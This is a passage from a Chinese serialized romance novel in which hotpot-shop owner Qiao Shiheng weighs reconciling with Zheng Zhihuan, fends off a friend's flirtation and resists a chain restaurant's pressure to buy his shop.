“我不懂什么是感情，我甚至不屑于感情。我不会表达，也或许我曾经轻视过你，没有正视过你，忽略过你的感受，将你会在我身边围绕着我转这件事视作理所当然，我都向你道歉。” 他的陈述无疑是带着一些悲伤色彩的，但此刻他却是笑了一下，像是嘲笑自己的无能。 “其实不结婚真的没什么，不会影响我的前途。只是人在屋檐下，不得不低头。所以我把屋檐掀了。但很多事的发生是必然的，没有这些事，我也掀不了压在头上的屋檐。” “说来说去，这其实是个死局。” 他放下那杯水，像是释怀了。 “所以你判我死刑，我接受了。” “毕竟，你的考虑很对。你总也应该要有自己的生活，不会一辈子都做个附属品。” “只是……” 他走到乔施珩的面前，看着他比从前显得憔悴的脸庞和眼下的乌青，小心翼翼靠近他。 “别剥夺我重生的权利。” 下一刻，乔施珩觉得肩上一重，在他没来得及反应的瞬间，堪堪接住这具倒下去的身体。 那玻璃门窗上的水珠，终于流淌到最低的地方，消失在地面。 空调机的声音呼呼作响，室内很暖，手里的这具身体更是滚烫。 乔施珩眼角湿润，尽管勇敢的自己已经在披荆斩棘，可软弱的自己还困在回忆的废墟里。 那片废墟里，没有爱，没人言说爱，却处处都有他刻下的爱的字样。 他留下刻痕，有人凝望刻痕。 可他已经鲜血淋漓，再刻不了什么了。 天市的温度要比申市低了好几度，郑祉桓穿着单薄，一整天又不知道跑到什么地方买醉，导致发烧。 但烧得没有很高，乔施珩就冲了退烧药给他喝，又帮他物理降温。 折腾到凌晨才睡。 生了病的郑祉桓始终是蜷缩着，在乔施珩这张并不大的床上，他手脚蜷缩，像是想要抱着什么，又偶尔难受地皱紧眉头。 大概是睡得太晚又太困，乔施珩竟然睡过头，醒来的时候屋外已经天光大亮。 他睡前是在床边的躺椅上，睡醒却是在床上。 顾不上是不是郑先生将他挪了地方，他急匆匆出了房门，却撞上刚换好衣服的苗楠。 “小乔老板，你今天起晚了。”她指了指前厅：“不过你哥都帮你把货提进来了。” 乔施珩蹙眉，他走到前厅，就看到小玉正把货物归类放到冰柜里，而梅姐正在擦桌子，并没有看到郑先生的身影。 “小乔老板，你起来了啊？”小玉看到他就打招呼，“原来那天晚上那个人是你哥啊，我就说怎么这么厉害。” “他人呢？” “走了啊。” 乔施珩没想到他会这么干脆，但他也一直都认为郑先生不是个会与人纠缠不清的人。 也许，每一次的纠缠都可能是最后一次。 “小乔哥，他怎么走了啊？”小玉走过来，望着门外，“他看起来好可怜的样子。” 乔施珩没回答她，他转身往后面的房间走去，他还没有洗漱。 前厅有了梅姐的帮忙，乔施珩轻松不少，有客人的时候他就一起忙，没客人的时候，他就捣鼓他的番茄锅底。 在他的不懈努力之下，番茄锅底似乎终于达到了他想要的味道。 如果他这边卖得好，他就会把配料表发给太芬，让她也做新口味的串串卖。 不过太芬的摊位太小，也不能留人堂食，胜在生意确实不错，肯定要比乔施珩这边赚得多，乔施珩这边回本都遥遥无期。 但令乔施珩意外的是，给他送货的几家货商都先后告诉他食材降价，他进货的钱几乎省去了一半。 他跟太芬那边报来的价格比了一下，发现天市的食品确实要比申市便宜很多。 临近圣诞，店里每天晚上人都爆满，每天只有上午和下午有一小会儿空闲时间，这个时候乔施珩都在后厨捣鼓他的新口味锅底。苗楠有相关经验，手也巧，还会做一些甜品。乔施珩打算把店里的小吃加一些新年新品，主要是甜品。 所以基本上苗楠会和他一起窝在后厨忙活。 “小乔哥，你尝尝我的芋圆奶芋如何？” 乔施珩拿勺子吃了一口，味道很好，就是太甜了一些，不过乔施珩是属于不爱吃太多糖的人，“有些甜了，你问问看小玉？” 苗楠端着甜品出去，没一会儿就回来了。 “小乔老板，外面来了个男人带个小孩，说找你。” 乔施珩关掉火，出去一看，竟然是郑祉裕和郑屿森。 “小乔叔叔。”郑屿森背着个鸭子背包，戴着个鸭子帽子，甚至鞋都是大黄鸭，蹦蹦跳跳朝他扑过来，幸好乔施珩挡了一下，不然会扑他一身油。 “我这围裙上都是油渍。”乔施珩说着把围裙解下来，把他抱起来，问他：“你怎么来了？” “我坐大飞机来的。” 乔施珩走到郑祉裕身边，“郑总。” “不错啊，这个店装修挺简约。”郑祉裕四处看了看，“生意怎么样？” “还可以。不过，不知道能维持多久。”乔施珩招待他们：“晚上在这儿吃，尝尝看味道怎么样吧。” “好啊，那就恭敬不如从命了。”郑祉裕找了个位置坐下来。 郑屿森从乔施珩怀里挣扎下来，在店里跑来跑去。 梅姐给他们拿了壶茶，小玉又把后厨的小吃端了几道上来。 郑祉裕很稀奇：“这你都做的？” “不是，我就研究一下锅底，这些都是我们店里大厨做的。”乔施珩在他对面坐下，给他倒水。 郑祉裕似乎不怎么吃这些，倒是郑屿森很感兴趣，跑过来吃。 “我看这附近还是有些萧条，破旧。似乎是个老街道？” “是的，这个地区本来也就是老城区。” 郑祉裕一边把郑屿森手里的鸡块拿下来，一边说：“你跑到这里来，老二就是有天大的本事，也没办法短期内到这边来工作。” 他问乔施珩：“他最近来过吗？” 乔施珩不想回答这些问题，他就有些小声地说：“他的事儿，你不是都知道吗？” “那可不一定，谁有空天天盯着他啊。” 一边的郑屿森嘟囔：“你有空给我找后妈。” 郑祉裕把开水端给他：“少讲话，喝水。” “不要，你就是来找那个讨厌鬼的，我都知道。”郑屿森从小黄鸭书包里摸出一个小卡片，递给乔施珩：“小乔叔叔，这个就是我爸爸要给我找的后妈。” 乔施珩接过卡片，上面是个卡通人物。 “是吗？”乔施珩比对面的郑祉裕还尴尬。 “我是过来出差，顺便带他来玩几天。” 郑祉裕不急着走，就带着郑屿森在店里玩。 晚上过来的人多了，乔施珩也就忙起来了，他给郑祉裕上了番茄锅底后，就忙得不可开交。 郑祉裕住市中心的酒店，带着孩子不方便留到客人都走完，所以他就先离开了。 显然像郑祉裕这样的人也比较吸引小姑娘，晚上下班后，乔施珩免不了又被小玉她们一顿盘问。 开店的时间久了，乔施珩也渐渐跟周围的商户打好了关系。隔壁是个连锁小饭馆，老板是一对夫妻，另一边挨着的是一家麻辣烫店，店主仍然是一对夫妻。像乔施珩这样独自来开店的情况，很少。好在他人比较老实，也不多话，偶然来找他借什么东西，他也不小气，渐渐地，周围的商户对他印象都比较好。 熟悉了以后，八卦绯闻就多了起来。 梅姐情报能力很强，最新的八卦消息总是从她这里听说。 “我听说，隔壁的麻辣烫店，要关门了。”她一边摆放菜品，一边说：“听说今年亏了不少，做不下去了，打算过完年就不干了。” “梅姐，你怎么知道？我看他们开得好好的啊。”小玉疑惑：“一点儿不像要关门的。” “那人家关门，能告诉你啊。”梅姐很肯定：“那门面都已经开始往外租了，过完年来，保证就换人了。” 苗楠还是比较关注过年放假这件事，店里人手少，她们基本上没什么休息日，乔施珩虽然按照三倍加班工资给她们结算，但谁不想休息呢。 “小乔老板，我们店什么时候放假啊？” 乔施珩没想过这个问题，他问：“别人家都什么时候关门？” “看路远路近，也有不关门的。”苗楠试探性问他：“咱们不会，不关门吧？” 乔施珩不是很想关门，但他知道现在客源还没很稳定，春节本地人流量少，不关门的话加班费很高，可能得不偿失。 “关，回家过年。”乔施珩想了想：“比法定假日提前三天吧，年后初六复工。” 大概是没提前规划，飞机、高铁、火车都已经没票了，乔施珩无奈加入了抢票大军。 回家之前，乔施珩认真考虑了再招一个人这件事，因为这几个月来店里的员工基本上没休息过，他想再招个全职，前厅可以等年后来招一些附近的学生来兼职，这样店员就可以轮休了。 他把想法告诉了蒙久，和蒙久一起敲定了这件事后，乔施珩也轻松了不少，但因为不知道年后生意怎么样，所以他把计划往后推了一下，打算看年后复工情况再准备。 天市的冬天比申市冷，雪也比申市多。 夜里悄悄一场大雪，早上整个天市就披了一层白。 他在门口铲雪，竟真的看到了隔壁麻辣烫店的门上贴了转租的单子。 麻辣烫的大哥也在门口站着，乔施珩就问他：“李哥，过完年不来了吗？” “不做了，回老家找点事做做。”他感叹：“这年头生意不好做啊，尤其是今年，连青菜都涨价，油麦菜都三块钱一斤了，这生意做不下去了。” 乔施珩听他抱怨菜价贵，越听越觉得不对劲，他的进货价格明明才一块五一斤，不过他也没有说出来。 雪大，送货的货商来得也晚，乔施珩就抓着那大哥问了下菜价，大哥告诉他确实是一块五，他就不解：“没涨价吗？” “没有，涨了会告诉你的。” 虽然心里有疑问，但他已经再三跟送货的确认了，送货的就是货商的人，所以他放下心来。 大雪天客人不多，又临近过年，很多人已经回乡，乔施珩在柜台算账的时候，门被人推开，他以为有客人，谁知抬头却看到了冯昭。 他穿着个皮草大衣，手里拖着行李箱，像个找错酒店的旅者。短短几个月，他身上的学生气息褪去了，现在看起来，更像个贵公子。 看到乔施珩，他笑说：“小乔哥，好久不见啊。” 乔施珩很惊讶，“你怎么来了？” “我就知道我们俩有缘分，我跟你说我要去的很远的地方，就是天市。” “那真是太巧了。”乔施珩招呼他：“坐吧，吃饭没有？想吃什么？” “我不饿，暂时不吃。”他把行李箱放下：“你什么时候回家？” “打算年前提前两天走。”他又无奈：“但还没抢到票。” “好说，我有车。”冯昭推了推行李箱：“那就劳烦你收留我几天，我跟你一起回去。” 乔施珩不是个扭捏的人，只是：“我没地方给你住。” “我就在你床边打地铺。” 他看冯昭说得那么理所当然，拒绝的话转了又转，没好意思说出来。 “那好吧。” “我这几天给你当店员。” 冯昭大概是有备而来，当天就跟小玉和苗楠混熟了，就连梅姐都被他哄得团团转。 晚上他要去商场买床垫的时候，乔施珩实在没忍住：“你住得远吗？” “远啊，我在城西，你在城东，横跨整个天市，你说远不远？” 于是乔施珩不算大的床边，铺了一张极其昂贵的床垫，还有价格不菲的被子枕头。 乔施珩没指望冯昭干活，他也确实不会干活，于是乔施珩就把他安排去收银。 “都没几个人，干脆关了算了，我们开车回去得好久呢。” 乔施珩看了看抢票情况，“要多久？” “十二个小时吧。” “还好，不是很远。”乔施珩看了看确实不太景气的生意，还是坚持提前三天关门。 他用工作微信号在朋友圈和一些客人群里都发了通知，通知了关店及年后开门的时间。 冯昭陪着他熬到店关门，本来打算一大早就走，但他却睡过头，任凭乔施珩怎么叫他，都不起来。 “天这么冷，再睡一会儿。” 前几天他都是睡到九点多才起来，乔施珩很无奈，“你平时都几点上班？” “几点去都没人敢说我什么。”冯昭翻了个身，继续睡了。 乔施珩把行李箱推出去，又把店里的水电燃气、食材设备都检查了一遍。 他出去转了一圈，发现街上确实很多家都关门了，没关门的大多是一些可以承办年夜饭的饭店。 就在他绕了一圈，绕回店门口的时候，他看到有人站在店门口的侧面位置，盯着他的店看。那个人戴着口罩，但从他的衣着身形来看，乔施珩还是看出来了，他没往前走。 如果在店里，郑祉桓所站的位置，他是看不到的。 乔施珩又往后退了几步，退到拐角，这个时候他的手机响了，是冯昭。 “你人呢？” “在外面，马上回。” 他又探头去看，郑先生还是站在原来的位置，但当冯昭开门出来的时候，他转身往另一边走了。 而冯昭伸头在路上四处看了看，根本没在意那个离去的背影。 乔施珩走回去，冯昭问他：“你都收拾好了？” “收拾好了。”他错开冯昭，去提行李箱。 他的抢票订单没取消，但眼看快到时间，他都没抢到票，那么郑先生是怎么来的呢？又怎么回去呢？ “发什么呆？走了。”冯昭过来把他的行李箱提着。 “我昨天买的零食你放哪里了？” “后备厢。” “拿出来，路上我要吃。” 乔施珩无奈：“你开车呢，怎么吃？” “你喂我不就行了。”冯昭从驾驶位朝后备厢的他喊：“把我的红牛牛也拿来，袋子里有吸管。” 乔施珩烦他，干脆把一整个袋子都提着。 “你买这么多零食干什么？”他坐上副驾驶，系好安全带。 “吃呗。”冯昭看他坐好了，一脚油门开出去。 车子驶过街道，乔施珩的目光没放过路过的街角，但没再看到那个身影。 可能是看错了，他想，现在还没到郑先生放假的时候，来回机票，车票又都不好买。 “你怎么又发呆？”冯昭“吩咐”他，“帮我把牛牛打开，插好吸管，我要喝。” “才刚开没五分钟，你就要喝？” “要喝要喝。”冯昭没当回事：“十二个小时呢，我喝两口怎么了？” 乔施珩按照他的“吩咐”办好，递给他，看到他没手拿，就主动递到他嘴边。 冯昭喝完红牛又要吃饼干，乔施珩被他使唤了几次后，就索性不理会他了。 “算了，不折腾你了。”冯昭心满意足：“反正上了高速就快了。” 但事实是，他们连高速路口都没看到在哪里，就被堵在了路上。 第64章 “别剥夺我重生的权利。…… 十二个小时的路程，他们堵了将近二十个小时才进入申市。 去最后一个服务区的时候换成了乔施珩开，他直接把车开回家，然后把冯昭叫醒。 “我到家了，你能开车吧？” 冯昭迷迷糊糊地下车，活动了一下，“能开，就是太受苦了。你下次一定早点买票。” 他本来要帮着乔施珩提行李，但乔施珩拒绝了，“你赶紧回家吧，我这东西不多。” “哥！” 乔施文从王圆家超市里跑出来，“你还真是这个点到。” 冯昭看着她瘦了不少，还黑了不少，问她：“你怎么这个样子？你跑非洲去了啊？” “那边就是干燥，太阳又大，没办法啦。” “你比你哥机智，早就买好了票，不像他，开店都开傻了，票都不知道买。” 几个人寒暄几句，冯昭就驱车离开了。 乔施珩跟着乔施文往家里走，到家后把自己给孩子们带的礼物拿出来，却发现乔施军脸色不怎么好，歪在沙发上没精打采。 “这是怎么了？” “可能是夜里受凉了，没事。” “你再睡会儿？现在还早。”乔施珩说着打哈欠，“我是夜里都没敢睡，我得去补个觉了。” 太芬从厨房出来，“你床铺都给你收拾好了，你去睡吧，吃午饭再喊你起来。” 结果乔施珩一觉睡醒，都已经下午了。 他难得有这么放松的时候，就好像一直绷着的那根线，终于扯平了。 晚上乔施文跟太芬要带着婷婷去后面新开的洗浴中心洗澡，乔施军也就带着轩轩一起去了。 乔施珩不太喜欢去那种公众场合，他就没去，独自留在家里。 正看电视的时候，门外门铃响了起来，他走出去一看，院子外，郑祉桓提着一些东西，站在那里。 乔施珩走过去，就听他说：“抱歉，我路过，来看看你有没有回来。” 他把东西放下，没看乔施珩，而是盯着地上的东西看了一会儿，才开口：“我在天市的时候，和你说的最后那句话，你……会拒绝吗？” “如果我拒绝呢？” 郑祉桓看向他的目光中，有疑惑也有一丝惊慌，好半天，他才失望地问：“一次机会也没有？” 很神奇，乔施珩看他，是一种他从未有过的姿态，根本不像是一个将近四十岁的男人，却像个不知所措的毛头小子。 以前，他从未设想过他们之间会有这样一天。 他总是以为，如果他说离开，郑先生会毫不犹豫放人，接着，他们两个就会各自淹没在人海，再无交集。 毕竟在他的认知里，郑先生有着明确的人生目标，并且为之不断奋斗。他从不会拘泥于感情，也从没说过有关感情方面的任何字眼，他们关系最好最融洽的时候，也都仿佛有堵无形的墙，将他们隔开。 他觉得，他走不进郑先生的世界，他的情感世界是封闭的。 就连现在他想要自己回头，也都好像是毫无章法。他那么迫切地想要将他的情感传递给乔施珩，却总是感觉哪里不对，他似乎始终是克制的，没办法推开封闭住自己的那堵墙。他甚至连对情感的认知，都是模糊的。 乔施珩借着路灯的光，不知为何想到了他说的那句，他离开后有家人有朋友，身边围绕着很多人，而郑先生却只有自己的话来。 他能说出那些话，乔施珩平心而论，似乎已经是他所能言语表达的极限了。 “你昨天，在天市吗？” 郑祉桓似乎不想承认，但还是承认了：“早上飞机回来的。” “不用上班吗？” “请了几天假。” 他低头看地上的礼品，“都买了什么？” “一些水果，一些干果。” “东西我收下了，你回家吧。”乔施珩弯腰提起那些礼品，“你才去核心区不久，又选入申市SW常W，工作很忙，不要总是往天市跑。” 直到他准备关院门，郑祉桓才有些犹豫地问：“以后，那条巷子和门口，我可以来吗？” 乔施珩没回答他。 其实没有拒绝就是默认了。 在乔施珩转身之前，郑祉桓倒是先走了，他似乎是怕听到乔施珩的拒绝。 其实在这段感情里，乔施珩介意他那些形形色色的人，和他纵容那些人轻视他的态度，他没给予自己尊重，也讨厌他，不懂什么是爱，又在自己已经放弃后，回过头来，不想放弃自己。但这段感情里，他自己也有错，他是个胆小鬼，他自觉卑微，他缩在壳里，他不敢逾越。 可乔施珩也骗不了自己，他没办法也没心情去开启一段新感情的原因，其实很直接，很直白。 那堆礼品里，夹带了一个温热的东西，他拿出来一看，是一杯老式的奶茶粉冲泡的奶茶。 那瞬间，他能清晰地感知自己一直费劲打造的坚固城堡，有了裂痕。他很没用的，让一杯现在已经很少能看到的，老式奶茶店冲泡的奶茶，冲击了他的防线。 他摩挲那杯温热的奶茶很久，才想起来在手机上搜索这个奶茶店的品牌名，却发现这家店在郊区一个偏远的小镇上，被两所学校包围着，顾客应该都是以学生为主。 插入吸管喝了几口，意外地好喝。 只是再怎么好喝，也不是年轻时候喝过的那些奶茶的味道了。 天市早就下过的雪，申市又攒到了除夕这天才下，看着稀稀拉拉的雪花，乔施珩心想应该不会下多大。 轩轩和婷婷找了几个附近的小朋友在院子里放摩擦类鞭炮，太芬和乔施文在准备年夜饭，这个时候，轩轩提着个袋子进来，他说：“门口有个戴口罩的叔叔说是给小叔的。” 乔施珩放下手中的盘子将袋子接下来，又看到了那杯老式奶茶，只是不同的是，这次袋子里至少有六七杯。 “那位叔叔呢？” “走了。” 乔施文喝着奶茶，很稀奇：“满大街奶茶店，现在哪还有这种古老的奶茶？” “有的。” “郑先生送过来的？”乔施文小声问他：“你们到底怎么说？还会有后续吗？” “好了。”乔施珩不想再听她说这些事情，就打断了她。 乔施文知道他不想听，也没再说下去。 假期他们本来想要在家打麻将玩，但是乔施军一直不舒服提不起劲来，所以乔施珩和乔施文选择带轩轩婷婷去商场玩，顺便打算看场电影。 他们逛了一下午，给轩轩婷婷买了一些衣服和玩具，就找了家店吃饭。 结果不知道是巧合还是什么，他们坐下没多久，郑祉桓就独自走了进来。 乔施文眼前一亮，她朝着郑祉桓招手，郑祉桓看了他们一眼，最后目光落在乔施珩身上。 “郑先生，你一个人吗？要不一起？” 乔施珩没有表态，郑祉桓到了他们桌前也没有坐下，他只说：“不用。” “哎呀没事。”乔施文看了眼乔施珩，完全不怕他生气，直接给郑祉桓让位置：“你坐这儿，咱们这么熟了还客气什么。” 郑祉桓仍然没坐，他只是问乔施珩：“什么时候去天市？” “初四。” 郑祉桓点了点头，随后他去坐了小桌。 乔施文重新坐下来，她实在不明白：“郑先生到底做什么十恶不赦的事情了？” “别问那么多了。” “你看郑先生这样的人，他总是端着，你让他怎么好意思……” “小姑，你们说什么呢？”轩轩问她。 乔施文只好不说这个话题。 乔施珩乘坐初四上午的高铁，于中午到达天市。他拖着行李箱打车回到自己的店，却看到郑祉桓已经站在了店门前。 看到乔施珩过来，他问：“没坐飞机？” “没有，刚好抢到了高铁票。”乔施珩反问他：“你为什么来这里？我不是说了，不要总是往天市跑。” “我的假期还没结束。” 乔施珩打开门进去，店里的设备要重启，卫生要打扫，他的事情其实很多。 郑祉桓在门口，没有贸然进去，乔施珩看了看他，“进来吧。” 乔施珩要检查设备，看郑祉桓在店里无所事事，他就问他：“打扫卫生的活，做吗？” 其实挺滑稽的，他那么大个子，穿着后厨厨师穿的围裙，动作笨拙却很认真地来回拖地，擦桌子，擦冰柜。 把活儿都干完，乔施珩才想起来，他们都还没有吃饭。 他到后厨简单做了两碗鸡蛋面，端到了前厅，找了张桌子放下。 郑祉桓自觉去洗手，然后过来坐下。 恍惚间，乔施珩竟然觉得，这场景太过熟悉，而他们双方，又都太过自然。 可这样的生活场景，他们本就上演过无数.欲.加.之.言.遍。 乔施珩的店里只有一间房可以休息，年前冯昭留在这里的床垫，他还没有来得及立起来，正好给郑祉桓用了。他站在房间门口，看着这张占据了房间一半位置的床垫，脸色很沉，但最终却什么也没说，坦然接受了安排。 洗澡间是由狭小的杂物室改建，不是乔施珩改的，是前任或者前前任店主改造的，郑祉桓这样的个头进去后，感觉转个身都困难。 乔施珩的房间里比较暖和，他已经早早躺下玩起了手机。 但是郑祉桓进来时，他还是有些紧张，又往被子里缩了缩。 郑祉桓却没越界，他在床垫上躺下后，什么话也没跟乔施珩说。 乔施珩的紧张感消退后，不知不觉就睡着了。 早上，他被隔壁装潢的声音吵醒。 床垫上已经没有了郑先生的身影，乔施珩穿好衣服后就去了前厅，看到郑祉桓在店门口，手里还提着早餐。 他跟着走出去，发现隔壁的麻辣烫店正在装修。 “谁盘下了这个店？”他好奇，但没看到相关店铺介绍。 这种店铺的变动其实很常见，乔施珩并没有当回事。 他回到屋里，洗漱后就出来吃早餐。 “我要跟送货的那些大哥再次确认好货物送来的时间，燃气也要加一些。”乔施珩规划着，“他们也都才复工，下午会送过来，明天我这边就打算开业了，可能刚开始生意会不太好。” “别有太大压力。” 乔施珩摇头：“说没压力才是假的。” 下午货物陆续送来，郑祉桓帮他提进来，他自己在冰柜前分类放好。 “你不回申市吗？我明天就开业了。” “我在这里，会影响你？” “我只是觉得你不好一直在我这里。” 郑祉桓似乎想说什么，但又不知出于什么原因没说出来，他答应了下来：“明天早上的飞机，回申市。” 他这次离开也是很早，且静悄悄。 乔施珩起来得明明很早，但他已经走了，只留给他“走了”两个字。 乔施珩又躺了回去，他看着手机对话框里，这两个字，想起上次在这里，喝醉了酒的郑先生和他说：“别剥夺我重生的权利。” 而在那之前，他还让他不要再到这里来。 洗漱好后，还没到小玉上班的时间。 “你好。”店门外进来了两个人。 乔施珩看这两个人，就不像是顾客，果然，前面的那个男人拿出名片递给他：“我是隔壁小君串串香连锁店的区域负责人，我想跟你谈谈，有关店铺的问题。” “隔壁，小君串串香？” 第65章 “小乔哥，考虑找对象吗…… 小君串串香是全国知名餐饮连锁品牌，这样的店要是开在旁边，无疑会对乔施珩的店产生巨大的冲击。他那瞬间脑袋有些空白，被一种恐慌以及无力所笼罩。 将人迎进门，乔施珩要给他们倒水，他们很傲慢地拒绝了。 “你是这家店铺的老板？姓乔。” 看来是有备而来。 乔施珩点点头。 “我们就不客套了，来之前我们对你的店做了评估，你这间店铺是新店，未达到稳定盈利的条件。我们按照收入持平对你的店进行估值，综合设备残值、装修残值以及商圈平均转让权，约为23万，考虑到你的剩余租期，我们愿意将价格调整到25万。” “什么意思啊？”乔施珩有点懵，“是要收购这间店铺的意思吗？” 他想，不加蒙久的装修费和桌椅板凳费，现在25万也亏损了很多啊。 “并不算收购，我们不要你的配方，我们只是想要你这间店铺，我们认为你现在出售店铺对你是最有利的，否则后面你再关门，得不偿失。” 这两人显然没有时间等乔施珩做决定，“我们计划开业的时间很紧，留给你的考虑时间也不多。请你尽快做决定，考虑好以后联系我。” 他们寥寥几句，打了乔施珩一个措手不及。 送走了他们，小玉她们也准时来上班了。 “小乔哥，新年好啊。” 乔施珩跟她们打招呼，又派发了开工红包。 第一天人并不多，乔施珩就抽空给蒙久打了电话，蒙久也没想到会遇到这种事情，但是他对小君串串香这个店的口味持怀疑态度。 “小君串串香是江南甜口偏多，整体比较寡淡。他们家的番茄锅偏甜，辣锅又不辣，甚至连麻酱锅都是甜口，这样的店开过去也不符合北方口味吧？我觉得他能不能开下去都是个问题，也就是品牌比较大，但恰恰是大品牌，我们也干不过啊。” 乔施珩跟他聊了蛮久，整体听下来，蒙久认为坚持做下去的必要性不大，但也并非不能坚持。 显然，小玉她们也很快就知道了隔壁要开小君串串香的消息。 “我在老北区吃过一次，难吃死了，这样的店能开到全国我都觉得不可思议，怎么敢跟我们店叫板！” 梅姐显然没吃过，她忧心：“那再怎么说，也是个大品牌，咱们这个店开在旁边，能行吗？” “梅姐，是他们硬要开在我们旁边。” 倒是苗楠认为问题不大：“我也吃过，确实是淡口。咱们这边口味都很重，我觉得至少重口这部分客户，我们不会损失。” 小玉拿出手机百度了一下这个小君串串香，“小君串串香是潮南食记集团下的连锁品牌，他们集团旗下好多连锁品牌啊。” 她本来还愤愤不平，看到人家背后资本，又泄气了。“难道我注定又要失业了吗？” 乔施珩知道，这件事情的最终决定权还是在自己手里，不管是蒙久还是其他的谁，都不能替他做决定。 他的店铺虽然还未达到盈利的状态，但年前生意不错，至少没有亏损，在回本中。 经过一夜的考虑，他还是决定冒一点风险，坚持运营。 潘以佳倒是也跟他持相同的观点，她在回他的消息里鼓励他，她也认为除非小君串串香愿意抬价至少十五万，否则不能关门让步。 乔施珩也这么认为。 初八之前的客人很少，稀稀疏疏，但是复工之后的客人就陆续多了起来，现在还没有开学，多是附近小区的居民和已经复工的上班族。 那两个人直到初十才再次上门。 乔施珩想请他们坐下好好说，但他们确实傲慢，听到乔施珩说暂时不考虑关店以后，他们露出了一个嘲讽的笑容。 “乔老板，我想，你会关门的。” 其实乔施珩也明白他们为什么想要这间店铺，他的这间店铺比隔壁麻辣烫店要大不少。 如今他们留下那么肯定的言语，单纯又没有多少社会经验的乔施珩其实根本没有别的理解，他只认为他们是对自己的店有信心，能够将他的店竞争倒闭。 说不慌是不可能的。 但如果就要这么关店让地方，那他前面几个月的辛苦也就白费了。 做生意本就不容易，他又没有经验，在蒙久的帮衬下才磕磕绊绊地开了起来，其间又投入了那么多精力。他能够把店开起来，自己都觉得惊讶，怎么甘心拱手让人。 从这天起，他投入到店里的精力更多了，同时也开通了外卖平台，加入了一些本地美食类平台，在互联网上“露面”。 隔壁店的装修还在继续，乔施珩看着他们总是占用自己门口的位置，找了他们沟通过几次，效果都不太好。但门口的一些建筑垃圾并没有对他的客流造成多少影响，每天还是会有不少客人光顾。 直到后面建筑垃圾越来越占道，客人才跟乔施珩反映这件事。 乔施珩太温和，不够强硬，梅姐自告奋勇，找了个客人还没来的早上，撸起袖子就跑到他们门口骂人。那尖锐的骂声，估计站在街尾都能听到。梅姐骂了个爽，但那些工人就是不动弹，根本不带把水泥袋往自己家门口挪一点。 乔施珩正要再去沟通，冯昭从街道停车场的方向走了过来。 “这是怎么了？开新店啊？”冯昭到了跟前一看就明白了，那些水泥袋就差把乔施珩店的大门给堵了。 “这点事还值得生气。”他淡定地掏出手机：“我来联系我们家亲爱的法务部。” 乔施珩按下他的手机：“这点事，至于吗？” “什么事儿不用自己干，都不用自己干啊。”他懒懒散散。 “不用了。”乔施珩拿出自己拍的照片，“我打算先去找市场管理方投诉，不行的话再打12345热线，都不行再想别的办法。” “前两步你就省了吧，直接第三步。” 冯昭跑到一边打完电话，这才悠闲着晃回来，他盯着隔壁的店看了半天，忽然后知后觉，“小乔哥，这开的是小君香啊？这家怎么找到这种破地方开连锁店的啊？” 梅姐在旁边唉声叹气：“可不是，都想把咱们店给买了。” “岂有此理。”冯昭不平，“他这店好吃吗？我没吃过，但是听说过。他们总部好像在大广，跟我们家业务上完全没有交集，但是说不定拐几个弯也能有认识的人。” 小玉探头过来：“你在你们家有话语权吗？” 冯昭很诚实：“有，但不多。” 他看到小玉的眼神，一点儿也不觉得有什么，“你不要电视剧看多了，我大学刚毕业，能做什么有利于集团和公司的决定，我连部门都还没有记全呢，我现在正在学习，学习你懂吗？” 小玉和苗楠相视一笑，跑去后厨了。 “放心吧，直接告比跟他讲理有用多了。”冯昭进门转了一圈，“我要去一趟燕京，在那边有个培训，我得去学习。” “那不是挺好的，你现在不就是在学习？” 冯昭摸了摸店里的桌子，都擦得很干净。但是他似乎心思不在检查卫生上，看乔施珩在控台上摆放调料，他又晃荡过去，“太累的话，干脆别干了。” “为什么？”乔施珩莫名其妙，“你不会是隔壁的卧底吧？” “那肯定不是啊。”他想了想，“我现在工资其实很高的，我自己都花不完。” “花不完就攒着。以后用钱的地方很多呢。”乔施珩说完又发现他们家情和家情不一样，改口：“反正钱再多也别乱花。” 冯昭好半晌，才说：“鉴于我钱太多，我打算给你点支持。你就跟隔壁干，没钱的话我来投资。” “真的吗？”乔施珩觉得他信口开河，“你有多少钱？” 显然，乔施珩这样普通的人对豪门是真的没有概念，冯昭随便找了张银行卡给他看余额，都让他以为他是造假的程度。 看乔施珩目瞪口呆，冯昭倒是不觉得有什么，“这是我钱最少的一张卡了，就别提那些房子车子了。所以我说我可以支持你开店，别说这种店了，你就算在市中心开，我也能负担。根本没什么好怕，亏再多我也能负担得起。” 乔施珩给了他一肘子，错开他往橱柜前走，“这是我的店，说得跟你是背后老板一样。” 冯昭又跟过去，他靠在橱柜上，乔施珩想推橱柜的门推不动，他抬眼去看冯昭，却见冯昭目光低垂，看向自己的眼神他并不陌生。 那瞬间，乔施珩觉得头皮都炸裂了。 “我可以是你背后的老板。” 乔施珩用手里的夹子在他眼前晃了晃，“说什么梦话呢？” 他捉住乔施珩的手腕，“我很认真啊，你怎么这样？” “行，我要是没有资金了，就找你来投资。” 冯昭晃了晃手机：“我可都录音了。” 乔施珩挣开他，“我还怕你赖账呢。” “能用钱解决的事情都不是事情。”冯昭问他：“我先给你转……” 乔施珩打断他：“没到那个时候呢。” “好吧。” 冯昭看他那么专注地整理菜品，“小乔哥，考虑找对象吗？” 乔施珩的叉子顿了顿，“不考虑。” “你也不能因为被蛇咬过，就怕绳子吧？” 一边路过的小玉插嘴：“那是一朝被蛇咬十年怕井绳。” “对对，就是这句话。” “考虑不了。”别说他没有这个考虑，就算有，现在这个时候，他也没有心情考虑。 “为什么啊？你考虑一下呗。” 旁边路过的小玉又插嘴：“小乔老板，你就考虑一下呗？” 冯昭赶她：“忙去，有你什么事。” 他在这里晃荡到中午，隔壁的工人过来把水泥袋都搬走了。 他就跑去跟乔施珩邀功，但是店里有客人，乔施珩没空理他，他就赖在这里吃了饭，还顺便买了几十杯奶茶过来。 “在场的客人一人一杯啊，乔老板请客！” 他吆喝完，门外有人进来，他的笑容僵在脸上，把奶茶袋递给小玉，让她去发，随后他来到门口，挡在郑祉桓面前。 “郑叔叔，你怎么这么阴魂不散呢？这都跑到天市了，你怎么还能找来？” 郑祉桓没在意他的挡路，他进门来就往前走，顶着冯昭不得不往后退。 “喂，郑大叔，你不要一把年纪了还搞这种老套的剧情，你俩的事情我都听说了，你现在最好有多远跑多远……” “你为什么在这里？” “我来看望朋友！”冯昭不知为何，有些心虚。 “看完了？” “算是吧，我马上就要走了。” “那滚吧。” 冯昭莫名来气，正要不依不饶，乔施珩出现了。 “你们两个挡路了。”他把锅底给桌上的客人放好，没顾得上给他们眼神，“往旁边站。” 冯昭的手机这会儿响了起来，大概是催他离开。 “郑叔叔，你可好自为之，别做什么过分的事情。” 对于这些话，郑祉桓就像是没有听到。 